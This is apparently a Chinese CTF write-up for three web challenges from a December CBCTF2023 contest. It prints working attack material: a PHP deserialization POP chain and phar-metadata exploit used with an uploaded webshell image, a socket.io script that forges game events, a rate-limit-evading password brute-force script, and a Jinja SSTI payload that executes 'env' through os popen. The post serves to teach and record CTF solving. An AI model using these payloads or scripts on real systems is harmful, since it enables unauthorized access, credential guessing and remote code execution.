CBCTF2023十二月比赛 wp

发布于 2024-07-26  113 次阅读


1.ezphp

初步审计,发现分POST和GET两种方式处理数据。

POST部分允许上传图片文件,可以获得文件路径。

GET部分如果get到ccc,包含一个php文件并判断传入ccc的文件路径是否存在;如果get到orz,会接受后续传入的get参数进行简单的md5判断,通过后即可获得包含的php的文件内容。

md5使用数组绕过即可。payload:?orz=1&jbn1[]=1&jbn2[]=2&username=0rays&password[]=1

得到f71fade1b8ed74a6d9849359380b760e.php的内容:

<?php

class Act {
    protected $checkAccess;
    protected $id;

    public function run()
    {  

        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {

                        include($this->checkAccess);
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;         
            }
        }
    }

}

class Con {

    public $formatters;
    public $providers;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($name, $arguments)
    {
        return call_user_func_array($this->getFormatter($name), $arguments);
    }
}

class Mmm {

    public function __invoke(){
        include("hello.php");
    }
}

class Jbn{
    public $source;
    public $str;
    public $reader;

    public function __wakeup() {

        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }

    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {

        $this->str->reset();
    }

    public function reset() {
        if ($this->reader !== null) {

            $this->reader->close();
        }
    }
}

思路:

首先由Jbn类的wakeup方法为起点开始触发,将source设为Jbn对象的引用,由于preg_match,触发toString方法;

再将source->str设为Jbn对象引用,执行reset方法;

再将str->reader设为Con对象的引用,由于Con类不存在close方法,触发call方法;

审计getFormatter函数可知将formatter数组设为['close' => [$act, 'run']],并将变量act设为Act对象的引用,即可执行Act中的run方法,为保险我这里将Act类中的id设为"0e123"确保判断通过。

本地测试代码如下。注意由于Act类中的成员变量属性为protected,序列化数据中会有不可见字符%00,打印序列化数据的时候要先urlencode。

<?php
//定义类,省略

$act=new Act();
// 创建 Con 对象
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];

// 创建两个 Jbn 对象
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
// 设置 Jbn 对象的属性
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;

$serialized = serialize($jbn);
echo $serialized;
echo urlencode($serialized);
unserialize($_GET['a']);?>

由于后半段只能使用GET传参,所以php://input执行任意代码的方法不能使用,可以上传含有一句话木马的图片文件,然后将该文件包含即可RCE。

先写个脚本上传木马图片:

import requests

url='http://e806052f-6206-4414-9a78-cb1ba64a23f2.training.0rays.club:8001/'  #题目url
file_path='C:\\Users\\26426\\Desktop\\ctf工具\\OneSentence.jpg'              #一句话木马图片路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)

得到路径

打phar包,要包含的文件路径定义为木马图片路径,元数据存入变量jbn

<?

#定义类,这里省略

$act=new Act();
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;
$phar = new Phar('PO.phar'); 
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); 
$phar->addFromString('test.txt', 'test'); 
$phar->setMetadata($jbn); 
$phar->stopBuffering();
?>

改名为.jpg结尾并上传phar包

import requests

url=''  #题目URL
file_path=''   #phar包文件路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)

首页ccc设为phar://+phar包路径即可包含木马,成功getshell,拿到flag:

2.TankTrouble

点击获取FLAG,提示要玩够555分才给flag,审计前端GameState.js代码,看一下对不同事件的处理:

发现在玩家坦克被其他玩家击杀时会触发socket事件发包到后端,事件名为kill。

其他事件(玩家自杀,玩家击杀其他坦克)的处理都在前端完成。

打开bp,查看websocket history

那就只能通过向服务器构造发送kill事件的包,id设为自己的id,模拟自己击杀其他坦克的事件,从而获得加分。

先构造一个kill事件的包发送,发现分数+1,证明此方法可行

写脚本反复发送kill事件的包,即可加分至555分。

import socketio
import time

# 创建一个Socket.IO客户端
sio = socketio.Client()

@sio.event
def connect():
    print("连接已建立")
    # 无限循环,持续发送消息
    while True:
        sio.emit('kill', {"killer": "[bp中截获的玩家id]"})
        print("已发送消息")
        time.sleep(0.1) 

#断开连接
@sio.event
def disconnect():
    print("连接已断开")

#连接
sio.connect('http://[服务器ip]:[端口]')

#保持脚本运行
sio.wait()

3.CNCTF2023

给了含9999个口令的文档,以及提示需要爆破,登录管理员账户。

尝试使用bp的intruder模块进行爆破,发现被限制请求频率。

当时不会docker,也没想过本地爆密码。

但是想到了一个非预期:题目是4台公共靶机,每台靶机密码相同,那么可以进行多线程爆破。

脚本:

import requests
import time
#有7个脚本,该脚本对应爆破1号靶机,用的是第1~1249个密码
url = 'http://jbnrz.com.cn:10101/login'
headers = {
    'Host': 'jbnrz.com.cn:10101',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'DNT': '1',
    'Referer': 'http://jbnrz.com.cn:10101/login',
    'Cookie': 'session=0e05942f-ae60-4b2d-a854-0ccaf12cff6f.i5qfub2V3uU0Cw1nhhlDNOuUZp0',
    'X-Forwarded-For': '8.8.8.8',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded'
}
data ={'name':'admin','password':'123','_submit':'%E6%8F%90%E4%BA%A4','nonce':'9e800d7455741648dcc6779d910bae6c9e327ba5efefce48da3424854ea09411'}
wrong=requests.post(url, headers=headers, data=data).text
if "incorrect" in wrong:
     print("Connected")
with open('D:\\QQ\\2642677199\\FileRecv\\something.txt', 'r',encoding='utf-8') as file:
    passwds = [line.strip() for line in file]
    passwds=passwds[0:1250:]
for passwd in passwds:
        while True:
             
            data['password']=passwd
            time.sleep(5)
            response = requests.post(url, headers=headers, data=data).text
            print(passwd)
            if "Too many requests" in response:
                 print("此处被频率限制。重试密码:{}".format(passwd))
            else:
                 break
        if response != wrong:
            print(response)
            print(f'密码: {passwd}')
            break

同时运行8个,分段分靶机爆破,得到密码为:jozefkosmider1995

内部存在flask注入,注入点在whale

注入{{''.__class__.__mro__[1].__subclasses__()[153].__init__.__globals__['popen']('env').read()}}试图查看环境变量,发现报错为状态码500。

经过试错探索,发现题目环境中object的子类列表和平时大部分的环境不一样,注入{{''.__class__.__mro__[1].__subclasses__()}}得object子类列表,编写简单脚本,找到类os._wrap_close的索引是133。

于是将__subclasses__()下标改为133,重新注入,成功。

A web ctfer from 0RAYS
最后更新于 2024-08-26